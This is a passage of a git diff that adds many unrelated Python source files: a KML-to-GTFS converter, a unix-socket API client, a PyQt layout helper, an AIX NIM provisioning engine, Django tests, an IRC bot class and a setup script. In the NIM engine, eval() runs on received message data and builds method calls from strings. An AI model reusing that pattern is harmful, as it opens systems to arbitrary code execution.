stopNameRe = '(.*)'): + """ + Args: + stopNameRe - a regular expression to extract a stop name from a + placemaker name + """ + self.stopNameRe = re.compile(stopNameRe) + + def Parse(self, filename, feed): + """ + Reads the kml file, parses it and updated the Google transit feed + object with the extracted information. + + Args: + filename - kml file name + feed - an instance of Schedule class to be updated + """ + dom = minidom.parse(filename) + self.ParseDom(dom, feed) + + def ParseDom(self, dom, feed): + """ + Parses the given kml dom tree and updates the Google transit feed object. + + Args: + dom - kml dom tree + feed - an instance of Schedule class to be updated + """ + shape_num = 0 + for node in dom.getElementsByTagName('Placemark'): + p = self.ParsePlacemark(node) + if p.IsPoint(): + (lon, lat) = p.coordinates[0] + m = self.stopNameRe.search(p.name) + feed.AddStop(lat, lon, m.group(1)) + elif p.IsLine(): + self.ConvertPlacemarkToShape(p, feed) + + def ParsePlacemark(self, node): + ret = Placemark() + for child in node.childNodes: + if child.nodeName == 'name': + ret.name = self.ExtractText(child) + if child.nodeName == 'Point' or child.nodeName == 'LineString': + ret.coordinates = self.ExtractCoordinates(child) + return ret + + def ExtractText(self, node): + for child in node.childNodes: + if child.nodeType == child.TEXT_NODE: + return child.wholeText # is a unicode string + return "" + + def ExtractCoordinates(self, node): + coordinatesText = "" + for child in node.childNodes: + if child.nodeName == 'coordinates': + coordinatesText = self.ExtractText(child) + break + ret = [] + for point in coordinatesText.split(): + coords = point.split(',') + ret.append((float(coords[0]), float(coords[1]))) + return ret + + def ConvertPlacemarkToShape(self, p, feed): + shape = transitfeed.Shape(p.name) + for (lon, lat) in p.coordinates: + shape.AddPoint(lat, lon) + + try: + existing_shape = feed.GetShape(p.name) + + # If the existing shape has the same points, we don't need to add a new + # shape. + if existing_shape == shape: + return + + # If the shape has different points, we need to modify our shape id so as + # to avoid duplication. + shape.shape_id += '_%d' % len(feed.GetShapeList()) + + except KeyError: + # No existing shape with that id, so no worries. + pass + + feed.AddShapeObject(shape) + +def main(): + usage = \ +"""%prog + +Reads KML file and creates GTFS file with +placemarks in the KML represented as stops. +""" + + parser = util.OptionParserLongError( + usage=usage, version='%prog '+transitfeed.__version__) + (options, args) = parser.parse_args() + if len(args) != 2: + parser.error('You did not provide all required command line arguments.') + + if args[0] == 'IWantMyCrash': + raise Exception('For testCrashHandler') + + parser = KmlParser() + feed = transitfeed.Schedule() + feed.save_all_stops = True + parser.Parse(args[0], feed) + feed.WriteGoogleTransitFeed(args[1]) + + print("Done.") + + +if __name__ == '__main__': + util.RunWithCrashHandler(main) diff --git a/pool/shard009/Python/0081226_connection.py b/pool/shard009/Python/0081226_connection.py new file mode 100644 index 0000000000000000000000000000000000000000..310759b5c47ce38ec136ceb43884de8b56f80eba --- /dev/null +++ b/pool/shard009/Python/0081226_connection.py @@ -0,0 +1,40 @@ +import requests_unixsocket +import json +import os + +socket_file = '/var/snap/platform/common/api.socket' +socket = 'http+unix://{0}'.format(socket_file.replace('/', '%2F')) + + +def api_post(url, data): + session = requests_unixsocket.Session() + try: + response = session.post('{0}{1}'.format(socket, url), data=data) + if response.status_code == 200: + response_json = json.loads(response.text) + if 'success' in response_json and response_json['success']: + return response_json['data'] + else: + raise Exception('service error: {0}'.format(response_json['message'])) + + else: + raise Exception('unable to connect to {0} with error code: {1}'.format(socket, response.status_code)) + except Exception as e: + raise Exception('unable to connect to {0}'.format(socket), e) + + +def api_get(url): + session = requests_unixsocket.Session() + try: + response = session.get('{0}{1}'.format(socket, url)) + if response.status_code == 200: + response_json = json.loads(response.text) + if 'success' in response_json and response_json['success']: + return response_json['data'] + else: + raise Exception('service error: {0}'.format(response_json['message'])) + + else: + raise Exception('unable to connect to {0} with error code: {1}'.format(socket, response.status_code)) + except Exception as e: + raise Exception('unable to connect to {0}'.format(socket), e) diff --git a/pool/shard009/Python/0081227_borderlayout.py b/pool/shard009/Python/0081227_borderlayout.py new file mode 100644 index 0000000000000000000000000000000000000000..59b3574a922038cc44347ab6d581fd6288693435 --- /dev/null +++ b/pool/shard009/Python/0081227_borderlayout.py @@ -0,0 +1,181 @@ +# This file is part of the Frescobaldi project, http://www.frescobaldi.org/ +# +# Copyright (c) 2008 - 2014 by Wilbert Berendsen +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# See http://www.gnu.org/licenses/ for more information. + +""" +Manages widgets in the borders of a QScrollArea. +""" + +from PyQt4.QtCore import QEvent, QObject, QPoint, QRect, QSize + + +LEFT, TOP, RIGHT, BOTTOM = 0, 1, 2, 3 + +class BorderLayout(QObject): + + # order in which the widget spaces are filled. + # if top and bottom are first, they get the full width. + order = TOP, BOTTOM, LEFT, RIGHT + + def __init__(self, scrollarea): + super(BorderLayout, self).__init__(scrollarea) + self._resizing = False + self._margins = 0, 0, 0, 0 + self._widgets = ([], [], [], []) + scrollarea.viewport().installEventFilter(self) + + @classmethod + def get(cls, scrollarea): + """Gets the BorderLayout for the given scrollarea. + + If None exists, creates and returns a new instance. + + """ + for c in scrollarea.children(): + if type(c) is cls: + return c + return cls(scrollarea) + + def scrollarea(self): + """Returns our scrollarea instance (our parent).""" + return self.parent() + + def addWidget(self, widget, side): + """Adds a widget to our scrollarea.""" + self.insertWidget(widget, side, -1) + + def insertWidget(self, widget, side, position): + """Inserts a widget in a specific position.""" + assert side in (LEFT, TOP, RIGHT, BOTTOM) + new = False + for l in self._widgets: + if widget in l: + l.remove(widget) + break + else: + new = True + widget.setParent(self.scrollarea()) + widget.installEventFilter(self) + if position == -1: + self._widgets[side].append(widget) + else: + self._widgets[side].insert(widget, position) + if new: + widget.show() + self.updateGeometry() + + def removeWidget(self, widget): + """Removes the widget, it is not deleted.""" + for l in self._widgets: + if widget in l: + l.remove(widget) + widget.removeEventFilter(self) + widget.setParent(None) + self.updateGeometry() + + def setViewportMargins(self, left, top, right, bottom): + """(Internal) Sets the viewport margins and remembers them.""" + self._margins = (left, top, right, bottom) + try: + self.scrollarea().setViewportMargins(left, top, right, bottom) + except RuntimeError: + # this can happen when the scrollarea already is deleted by Python + # because setViewportMargins is a protected method + pass + + def viewportGeometry(self): + """(Internal) Returns the viewport geometry as if with 0 margins.""" + g = self.scrollarea().viewport().geometry() + left, top, right, bottom = self._margins + return g.adjusted(-left, -top, right, bottom) + + def eventFilter(self, obj, ev): + """Reimplemented to handle resizes and avoid resize loops.""" + if self._resizing: + return False + elif ev.type() == QEvent.Resize and obj is self.scrollarea().viewport(): + self.updateGeometry() + elif ev.type() in (QEvent.Resize, QEvent.ShowToParent, QEvent.HideToParent): + self.updateGeometry() + elif ev.type() in (QEvent.ParentChange, QEvent.DeferredDelete) and obj is not self.scrollarea().viewport(): + for l in self._widgets: + if obj in l: + l.remove(obj) + obj.removeEventFilter(self) + self.updateGeometry() + break + return False + + def updateGeometry(self): + """(Internal) Positions all widgets in the scrollarea edges.""" + self._resizing = True + g = self.viewportGeometry() + pos = g.topLeft() + size = g.size() + left, right, top, bottom = 0, 0, 0, 0 + + for side in self.order: + def widgets(): + for w in self._widgets[side][::-1]: + if w.isVisibleTo(self.scrollarea()): + yield w + if side is LEFT: + for widget in widgets(): + w = widget.sizeHint().width() + h = size.height() - top - bottom + x = left + y = top + g = QRect(pos + QPoint(x, y), QSize(w, h)) + widget.setGeometry(g) + left += w + elif side is RIGHT: + for widget in widgets(): + w = widget.sizeHint().width() + h = size.height() - top - bottom + x = size.width() - right - w + y = top + g = QRect(pos + QPoint(x, y), QSize(w, h)) + widget.setGeometry(g) + right += w + elif side is TOP: + for widget in widgets(): + w = size.width() - left - right + h = widget.heightForWidth(w) + if h == -1: + h = widget.sizeHint().height() + x = left + y = top + g = QRect(pos + QPoint(x, y), QSize(w, h)) + widget.setGeometry(g) + top += h + elif side is BOTTOM: + for widget in widgets(): + w = size.width() - left - right + h = widget.heightForWidth(w) + if h == -1: + h = widget.sizeHint().height() + x = left + y = size.height() - bottom - h + g = QRect(pos + QPoint(x, y), QSize(w, h)) + widget.setGeometry(g) + bottom += h + self.setViewportMargins(left, top, right, bottom) + self._resizing = False + + + diff --git a/pool/shard009/Python/0081231_ext.py b/pool/shard009/Python/0081231_ext.py new file mode 100644 index 0000000000000000000000000000000000000000..ba9a8ba63425b290f4489cd394794512bc3d3300 --- /dev/null +++ b/pool/shard009/Python/0081231_ext.py @@ -0,0 +1,44 @@ +# -*- coding: utf-8 -*- +# +# This file is part of INSPIRE. +# Copyright (C) 2014-2017 CERN. +# +# INSPIRE is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# INSPIRE is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with INSPIRE. If not, see . +# +# In applying this license, CERN does not waive the privileges and immunities +# granted to it by virtue of its status as an Intergovernmental Organization +# or submit itself to any jurisdiction. + +"""HAL extension.""" + +from __future__ import absolute_import, division, print_function + +from . import config +from .views import blueprint + + +class InspireHAL(object): + def __init__(self, app=None): + if app: + self.init_app(app) + + def init_app(self, app): + self.init_config(app) + app.register_blueprint(blueprint) + app.extensions['inspire-hal'] = self + + def init_config(self, app): + for k in dir(config): + if k.startswith('HAL_'): + app.config.setdefault(k, getattr(config, k)) diff --git a/pool/shard009/Python/0081236_nimeng.py b/pool/shard009/Python/0081236_nimeng.py new file mode 100644 index 0000000000000000000000000000000000000000..15a852af4d06f3528c6657dae915639e2f28f7b7 --- /dev/null +++ b/pool/shard009/Python/0081236_nimeng.py @@ -0,0 +1,288 @@ +#--*-- coding:utf-8 --*-- +''' +Created on 2015��5��8�� + +@author: stm +''' + +from base.engine import EngineBase + +import string + + +from utils import DebugLog +from utils.ErrorHandler import ConfigFileError +from base.cmdmsg import CMDMsg, PREPAREHOSTSFILE, DEFINESERVER, ASSIGNRESOURCE, \ + CHECKHOSTSFILE, CHECKDEFINEDSERVER, CHECKASSIGNEDRESOURCE, \ + CLEANNIMRESOURCE, CHECKCLEANSTATUS + +from engine.sessions.nimcli_session import NIM_CLI +from base.vdstate import CREATEVIOSLPAR_STAT, PRGRS_INPROGRESS, PRGRS_FINISHED,\ + PREPAREHOSTSFILE_STAT, DEFINESERVER_STAT, ASSIGNRESOURCE_STAT,\ + CLEAN_NIM_RESOURCE_STAT + + +class NIMEng(EngineBase): + ''' + classdocs + ''' + + def __init__(self, vd_comm_cnt, vd_config): + ''' + NIM Server Engine to deal with nim resource definition + ''' + DebugLog.info_print("NIMEng initialized") + EngineBase.__init__(self, vd_comm_cnt, vd_config) + + try: + self.nimserver_ip = self.vd_config.get('topo', 'nimserver_ip') + self.nimserver_username = self.vd_config.get('topo', 'nimserver_username') + self.nimserver_passwd = self.vd_config.get('topo', 'nimserver_passwd') + + self.nimres_spot_res = self.vd_config.get("nim_resource_definition", "spot_res") + self.nimres_mksysb_res = self.vd_config.get("nim_resource_definition", "mksysb_res") + self.nimres_bosinst_data_res = self.vd_config.get("nim_resource_definition", "bosinst_data_res") + except: + raise ConfigFileError() + + + def check_hosts_file(self, server_id, data): + ''' + add records in /etc/hosts + data: [ip, sn] + ''' + + _finished = False + resp_msg = '' + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + + server_ip, server_name = (data_list[0], data_list[1]) + chk_result = nim_cli.check_file_content(server_ip, "/etc/hosts") + if chk_result is not None and not (chk_result.find(server_ip) == -1): + _finished = True + + if _finished: + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + PREPAREHOSTSFILE_STAT, + PRGRS_FINISHED, + PREPAREHOSTSFILE) + + else: + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + PREPAREHOSTSFILE_STAT, + PRGRS_INPROGRESS, + PREPAREHOSTSFILE) + if resp_msg: + self.vd_comm_cnt.postMessage(resp_msg) + + def prepare_hosts_file(self, server_id, data): + ''' + add records in /etc/hosts + data: [ip, sn] + ''' + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + PREPAREHOSTSFILE_STAT, + PRGRS_INPROGRESS, + PREPAREHOSTSFILE) + self.vd_comm_cnt.postMessage(resp_msg) + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + #loop_cnt = len(data_list) + #for loop_idx in range(loop_cnt): + from utils.FileLock import FileLock + + with FileLock("modify_hosts_file.lock", timeout=300): + server_ip, server_name = (data_list[0], data_list[1]) + nim_cli.remove_record_from_file(server_name) + nim_cli.remove_record_from_file_by_ip(server_ip) + nim_cli.append_record_into_file(server_ip, server_name) + + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + PREPAREHOSTSFILE_STAT, + PRGRS_FINISHED, + PREPAREHOSTSFILE) + + self.vd_comm_cnt.postMessage(resp_msg) + +# msg = self.msg_decoder.encodeMsg(CMDMsg.getCMD(PREPAREHOSTSFILE), '_') +# self.vd_comm_cnt.postMessage(msg) + + def _deal_with_data(self, server_id, data, func, with_params=True, post_cmd=None): + ''' + as for data is a list type, and let func to deal with all the data + @data: list type which contains server's serial_num + ''' + DebugLog.debug_print_level1("Connect nim server session") + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + data_list = eval(data) + loop_cnt = len(data_list) + for loop_idx in range(loop_cnt): + func_name = "nim_cli."+func + DebugLog.debug_print_level1("Call nim server function %s" % func_name) + if with_params: + resp = eval(func_name)(data_list[loop_idx]) + else: + resp = eval(func_name)() + + if post_cmd: + msg = self.msg_decoder.encodeMsg(post_cmd, server_id, resp) + DebugLog.debug_print_level1(msg) + self.vd_comm_cnt.postMessage(msg) + + + def define_server_in_nim(self, server_id, data): + '''define server in nim server using the server's serial num which is in the data list''' + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + DEFINESERVER_STAT, + PRGRS_INPROGRESS, + DEFINESERVER) + self.vd_comm_cnt.postMessage(resp_msg) + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + server_sn = data_list[0] + + #nim_cli.remove_allocated_resource_in_nim(server_sn) + nim_cli.define_server_in_nim(server_sn) + + + def clean_nim_define(self, server_id, data): + '''clean nim define''' + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + CLEAN_NIM_RESOURCE_STAT, + PRGRS_INPROGRESS, + CLEANNIMRESOURCE) + self.vd_comm_cnt.postMessage(resp_msg) + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + server_sn = data_list[0] + nim_cli.remove_allocated_resource_in_nim(server_sn) + + + + def check_if_server_defined_in_nim(self, server_id, data): + '''use lsnim -l command to check if the server existed in nim defined resource''' + _finished = False + resp_msg = '' + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + server_sn = data_list[0] + _finished = nim_cli.check_if_host_defined_in_nim(server_sn) + + if _finished: + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + DEFINESERVER_STAT, + PRGRS_FINISHED, + DEFINESERVER) + + else: + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + DEFINESERVER_STAT, + PRGRS_INPROGRESS, + DEFINESERVER) + if resp_msg: + self.vd_comm_cnt.postMessage(resp_msg) + + + def check_if_host_resource_assigned_in_nim(self, server_id, data): + '''use lsnim -l command to check if the server existed in nim defined resource''' + _finished = False + resp_msg = '' + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + server_sn = data_list[0] + _finished = nim_cli.check_if_host_defined_in_nim(server_sn) + + if _finished: + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + ASSIGNRESOURCE_STAT, + PRGRS_FINISHED, + ASSIGNRESOURCE) + else: + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + ASSIGNRESOURCE_STAT, + PRGRS_INPROGRESS, + ASSIGNRESOURCE) + if resp_msg: + self.vd_comm_cnt.postMessage(resp_msg) + + + def assign_server_resource(self, server_id, data): + '''define server in nim server using the server's serial num which is in the data list''' + resp_msg = EngineBase.get_post_phase_progress_msg(server_id, + ASSIGNRESOURCE_STAT, + PRGRS_INPROGRESS, + ASSIGNRESOURCE) + self.vd_comm_cnt.postMessage(resp_msg) + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + #loop_cnt = len(data_list) + #for loop_idx in range(loop_cnt): + server_sn = data_list[0] + nim_cli.assign_resource_to_server(server_sn) + + + + def check_nim_resouce(self, _server_id, data): + '''use lsnim -l command to check if the server existed in nim defined resource''' + _finished = False + resp_msg = '' + + nim_cli = NIM_CLI(self.nimserver_ip, self.nimserver_passwd) + + data_list = eval(data) + server_sn = data_list[0] + _found = nim_cli.check_if_host_defined_in_nim(server_sn) + + if _found: + resp_msg = EngineBase.get_post_phase_progress_msg(_server_id, + CLEAN_NIM_RESOURCE_STAT, + PRGRS_INPROGRESS, + CLEANNIMRESOURCE) + else: + resp_msg = EngineBase.get_post_phase_progress_msg(_server_id, + CLEAN_NIM_RESOURCE_STAT, + PRGRS_FINISHED, + CLEANNIMRESOURCE) + nim_cli.remove_record_from_file(server_sn) + + if resp_msg: + self.vd_comm_cnt.postMessage(resp_msg) + + + def process_message(self, msg): + DebugLog.info_print("Got the command tranfering in hmc engine") + cmd, _server_id, data = self.msg_decoder.decodeMsg(msg) + if CMDMsg.getCMD(PREPAREHOSTSFILE) == cmd: + self.prepare_hosts_file(_server_id, data) + elif CMDMsg.getCMD(DEFINESERVER) == cmd: + self.define_server_in_nim(_server_id, data) + elif CMDMsg.getCMD(ASSIGNRESOURCE) == cmd: + self.assign_server_resource(_server_id, data) + elif CMDMsg.getCMD(CHECKHOSTSFILE) == cmd: + self.check_hosts_file(_server_id, data) + elif CMDMsg.getCMD(CHECKDEFINEDSERVER) == cmd: + self.check_if_server_defined_in_nim(_server_id, data) + elif CMDMsg.getCMD(CHECKASSIGNEDRESOURCE) == cmd: + self.check_if_host_resource_assigned_in_nim(_server_id, data) + elif CMDMsg.getCMD(CLEANNIMRESOURCE) == cmd: + self.clean_nim_define(_server_id, data) + elif CMDMsg.getCMD(CHECKCLEANSTATUS) == cmd: + self.check_nim_resouce(_server_id, data) + + + diff --git a/pool/shard009/Python/0081237_test_saved.py b/pool/shard009/Python/0081237_test_saved.py new file mode 100644 index 0000000000000000000000000000000000000000..9fa0161c82911c00ca7b6eb72d6ff4cf3f217d4c --- /dev/null +++ b/pool/shard009/Python/0081237_test_saved.py @@ -0,0 +1,90 @@ +# coding=utf-8 +import datetime + +from django.test import TestCase + +from corehq.apps.export.models import ExportInstance +from corehq.apps.export.models.new import DAILY_SAVED_EXPORT_ATTACHMENT_NAME +from couchexport.groupexports import get_saved_export_and_delete_copies +from couchexport.models import SavedBasicExport, ExportConfiguration + + +class DailySavedExportSavingTest(TestCase): + + def test_file_save_and_load(self): + payload = 'something small and simple' + export = ExportInstance(daily_saved_export=True) + export.save() + export.set_payload(payload) + self.assertEqual(payload, export.get_payload()) + + def test_save_basic_export_to_blobdb(self): + export = ExportInstance(daily_saved_export=True) + export.save() + export.set_payload("content") + self.assertTrue(export.has_file()) + self.assertIn(DAILY_SAVED_EXPORT_ATTACHMENT_NAME, export.external_blobs) + self.assertEqual(export.file_size, 7) + with export.get_payload(stream=True) as fh: + self.assertEqual(fh.read(), "content") + + +class SavedBasicExportTest(TestCase): + + def test_file_save_and_load(self): + payload = 'something small and simple' + for name in ['normal', u'हिंदी', None]: + saved = SavedBasicExport(configuration=_mk_config(name)) + saved.save() + saved.set_payload(payload) + self.assertEqual(payload, saved.get_payload()) + + def test_get_by_index(self): + index = ['some', 'index'] + saved_export = SavedBasicExport(configuration=_mk_config(index=index)) + saved_export.save() + back = SavedBasicExport.by_index(index) + self.assertEqual(1, len(back)) + self.assertEqual(saved_export._id, back[0]._id) + + def test_get_saved_and_delete_copies_missing(self): + self.assertEqual(None, get_saved_export_and_delete_copies(['missing', 'index'])) + + def test_get_saved_and_delete_copies_single(self): + index = ['single'] + saved_export = SavedBasicExport(configuration=_mk_config(index=index)) + saved_export.save() + self.assertEqual(saved_export._id, get_saved_export_and_delete_copies(index)._id) + + def test_get_saved_and_delete_copies_multiple(self): + index = ['multiple'] + # make three exports with the last one being the most recently updated + timestamp = datetime.datetime.utcnow() + for i in range(3): + saved_export = SavedBasicExport(configuration=_mk_config(index=index), + last_updated=timestamp + datetime.timedelta(days=i)) + saved_export.save() + + self.assertEqual(3, len(SavedBasicExport.by_index(index))) + chosen_one = get_saved_export_and_delete_copies(index) + # this relies on the variable being set last in the loop which is a bit unintuitive + self.assertEqual(saved_export._id, chosen_one._id) + saved_after_deletion = SavedBasicExport.by_index(index) + self.assertEqual(1, len(saved_after_deletion)) + self.assertEqual(chosen_one._id, saved_after_deletion[0]._id) + + def test_save_basic_export_to_blobdb(self): + index = ['single'] + saved_export = SavedBasicExport(configuration=_mk_config(index=index)) + saved_export.save() + saved_export.set_payload("content") + name = saved_export.get_attachment_name() + self.assertTrue(saved_export.has_file()) + self.assertIn(name, saved_export.external_blobs) + self.assertEqual(saved_export.size, 7) + with saved_export.get_payload(stream=True) as fh: + self.assertEqual(fh.read(), "content") + + +def _mk_config(name='some export name', index='dummy_index'): + return ExportConfiguration(index=index, name=name, format='xlsx') diff --git a/pool/shard009/Python/0081241_bot.py b/pool/shard009/Python/0081241_bot.py new file mode 100644 index 0000000000000000000000000000000000000000..eebd681958313524daf4673d70fcb0b8b2991243 --- /dev/null +++ b/pool/shard009/Python/0081241_bot.py @@ -0,0 +1,61 @@ +""" This module contains a class for quickly creating bots. It is the highest +level of abstraction of the IRC protocol available in ``ircutils``. + +""" +from . import client +from . import events + + +class SimpleBot(client.SimpleClient): + """ A simple IRC bot to subclass. When subclassing, make methods in the + form of ``on_eventname`` and they will automatically be bound to that + event listener. + This class inherits from :class:`ircutils.client.SimpleClient`, so be sure + to check that documentation to see more of what is available. + + """ + def __init__(self, nick): + client.SimpleClient.__init__(self, nick) + self._autobind_handlers() + + def _autobind_handlers(self): + """ Looks for "on_" methods on the object and automatically + binds them to the listener for that event. + + """ + for listener_name in self.events: + name = "on_%s" % listener_name + if hasattr(self, name): + handler = getattr(self, name).__func__ + self.events[listener_name].add_handler(handler) + + def register_listener(self, event_name, listener): + """ Same as :func:`ircutils.client.SimpleClient.register_listener` + execpt that if there is a handler in the bot already, it auto-binds it + to the listener. + """ + self.events.register_listener(event_name, listener) + handler_name = "on_{0}".format(event_name) + if hasattr(self, handler_name): + handler = getattr(self, handler_name).__func__ + self.events[event_name].add_handler(handler) + + +class _TestBot(SimpleBot): + """ A bot for debugging. Designed to be subclassed to building test bots. + + """ + def __init__(self, nick): + SimpleBot.__init__(self, nick) + self["any"].add_handler(self.print_line) + self.verbose = True + + def print_line(self, client, event): + kwds = { + "cmd": event.command, + "src": event.source, + "tgt": event.target, + "params": event.params + } + if self.verbose: + print("[{cmd}] s={src!r} t={tgt!r} p={params}".format(**kwds)) diff --git a/pool/shard009/Python/0081246_models.py b/pool/shard009/Python/0081246_models.py new file mode 100644 index 0000000000000000000000000000000000000000..0605317f49f9591b7b0190515ff95d8bf66bf5ad --- /dev/null +++ b/pool/shard009/Python/0081246_models.py @@ -0,0 +1,15 @@ +from django.db import models +from .fields import MyIntegerField + + +class MockObject(models.Model): + name = models.CharField(max_length=500) + number = MyIntegerField(null=True, db_column='num') + dt = models.DateField(null=True) + + class Meta: + app_label = 'tests' + + def copy_name_template(self): + return 'upper("%(name)s")' + copy_name_template.copy_type = 'text' diff --git a/pool/shard009/Python/0081249_event.py b/pool/shard009/Python/0081249_event.py new file mode 100644 index 0000000000000000000000000000000000000000..3076a987edf0ba93f272de91f991ba76228114b3 --- /dev/null +++ b/pool/shard009/Python/0081249_event.py @@ -0,0 +1,36 @@ +from threading import Lock + +__all__ = ("Observable",) + +class Observable: + __slots__ = () + + def __init__(self): + self.__callbacks = {} + self.__lock = Lock() + + def trigger(self, signal, *args, **kwargs): + with self.__lock: + callbacks = self.__callbacks.get( + signal, frozenset() + ).union(self.__callbacks.get( + "all", frozenset() + )) + + for cb in callbacks: + cb(*args, **kwargs) + + def on(self, signal, cb): + with self.__lock: + self.__callbacks.setdefault(signal, set()).add(cb) + + def off(self, signal, cb): + with self.__lock: + if signal in self.__callbacks: + self.__callbacks[signal].remove(cb) + + def once(self, signal, cb): + def fn(*args, **kwargs): + self.off(signal, cb) + cb(*args, **kwargs) + return self.on(signal, fn) diff --git a/pool/shard009/Python/0081251_setup.py b/pool/shard009/Python/0081251_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..4f3adef2c92bf56464e1e40de18e9820f269fd9c --- /dev/null +++ b/pool/shard009/Python/0081251_setup.py @@ -0,0 +1,70 @@ +#! /usr/bin/env python +# Copyright (C) 2003-2012, Stefan Schwarzer +# See the file LICENSE for licensing terms. + +""" +setup.py - installation script for Python distutils +""" + +import os +import sys + +from distutils import core + + +_name = "ftputil" +_package = "ftputil" +_version = open("VERSION").read().strip() + + +doc_files = [os.path.join("doc", name) + for name in ["ftputil.txt", "ftputil.html", "README.txt"]] + +doc_files_are_present = True +for doc_file in doc_files: + if not os.path.exists(doc_file): + doc_files_are_present = False + +if "install" in sys.argv[1:] and not doc_files_are_present: + print "One or more of the HTML documentation files are missing." + print "Please generate them with `make docs`." + sys.exit(1) + +core.setup( + # Installation data + name=_name, + version=_version, + packages=[_package], + package_dir={_package: _package}, + data_files=[("doc/ftputil", doc_files)], + # Metadata + author="Stefan Schwarzer", + author_email="sschwarzer@sschwarzer.net", + url="http://ftputil.sschwarzer.net/", + description="High-level FTP client library (virtual filesystem and more)", + keywords="FTP, client, library, virtual file system", + license="Open source (revised BSD license)", + platforms=["Pure Python (Python version >= 2.4)"], + long_description="""\ +ftputil is a high-level FTP client library for the Python programming +language. ftputil implements a virtual file system for accessing FTP servers, +that is, it can generate file-like objects for remote files. The library +supports many functions similar to those in the os, os.path and +shutil modules. ftputil has convenience functions for conditional uploads +and downloads, and handles FTP clients and servers in different timezones.""", + download_url= + "http://ftputil.sschwarzer.net/trac/attachment/wiki/Download/%s-%s.tar.gz?format=raw" % + (_name, _version), + classifiers=[ + "Development Status :: 5 - Production/Stable", + "Environment :: Other Environment", + "Intended Audience :: Developers", + "License :: OSI Approved :: BSD License", + "Operating System :: OS Independent", + "Programming Language :: Python", + "Topic :: Internet :: File Transfer Protocol (FTP)", + "Topic :: Software Development :: Libraries :: Python Modules", + "Topic :: System :: Filesystems", + ] + ) + diff --git a/pool/shard009/Python/0081256_text.py b/pool/shard009/Python/0081256_text.py new file mode 100644 index 0000000000000000000000000000000000000000..0e0ca1cae6cb1613582e34f5d0a32cc5c48d461f --- /dev/null +++ b/pool/shard009/Python/0081256_text.py @@ -0,0 +1,86 @@ +from toast.scene_graph import GameObject + + +class Text(GameObject): + def __init__(self, font, message): + """Class Constructor + + font: A BitmapFont object. + message: A string. + """ + super(Text, self).__init__() + + self.font = font + self.__position = (0, 0) + self.__time = 0 + self.visible = True + self.__message = message + + self.char_list = [] + self.position_list = [] + + self.__update_char_list() + self._update_chars() + + def update(self, time=0.1667): + super(Text, self).update(time) + + self.time += time + + def _update_chars(self, time=0.1667): + left = 0 + index = 0 + for (_, rect) in self.char_list: + rect.left = self.position[0] + self.position_list[index][0] + rect.top = self.position[1] + self.position_list[index][1] + left += rect.width + index += 1 + + def render(self, surface, offset=(0, 0)): + if not self.visible: + return + + for (image, rect) in self.char_list: + surface.blit(image, rect) + + @property + def message(self): + return self.__message + + @message.setter + def message(self, message): + self.__message = message + self.__update_char_list() + + def __update_char_list(self): + self.char_list = [] + self.position_list = [] + + left = 0 + top = 0 + + # Build the list of characters + for char in self.__message: + image = self.font.render(char) + rect = image.get_rect() + rect.left = left + rect.top = top + self.char_list.append((image, rect)) + self.position_list.append((left, top)) + left += rect.width + + def GetPosition(self): + return self.__position + + def SetPosition(self, position): + self.__position = position + + position = property(GetPosition, SetPosition) + + def GetTime(self): + return self.__time + + def SetTime(self, time): + self.__time = time + + time = property(GetTime, SetTime) diff --git a/pool/shard009/Python/0081258_dashboard.py b/pool/shard009/Python/0081258_dashboard.py new file mode 100644 index 0000000000000000000000000000000000000000..3db394da49bba83125a0f908f49595b66431862e --- /dev/null +++ b/pool/shard009/Python/0081258_dashboard.py @@ -0,0 +1,16 @@ +import logging +from django.contrib.auth.decorators import login_required +from django.shortcuts import render +from django.utils.decorators import method_decorator +from django.views.generic import View + +logger = logging.getLogger(__name__) + + +class DashboardView(View): + template_name = 'dashboard.html' + + @method_decorator(login_required) + def get(self, request): + args = {'maxRequests': 20} + return render(request, self.template_name, args) \ No newline at end of file diff --git a/pool/shard009/Python/0081263_serial.py b/pool/shard009/Python/0081263_serial.py new file mode 100644 index 0000000000000000000000000000000000000000..b927cbf7e8800e5e55cb90f494a563922a37a88c --- /dev/null +++ b/pool/shard009/Python/0081263_serial.py @@ -0,0 +1,43 @@ +'''A worker that serially pops and complete jobs''' + +import os +import time + +from . import Worker + + +class SerialWorker(Worker): + '''A worker that just does serial work''' + def __init__(self, *args, **kwargs): + Worker.__init__(self, *args, **kwargs) + # The jid that we're working on at the moment + self.jid = None + # This is the sandbox we use + self.sandbox = kwargs.pop( + 'sandbox', os.path.join(os.getcwd(), 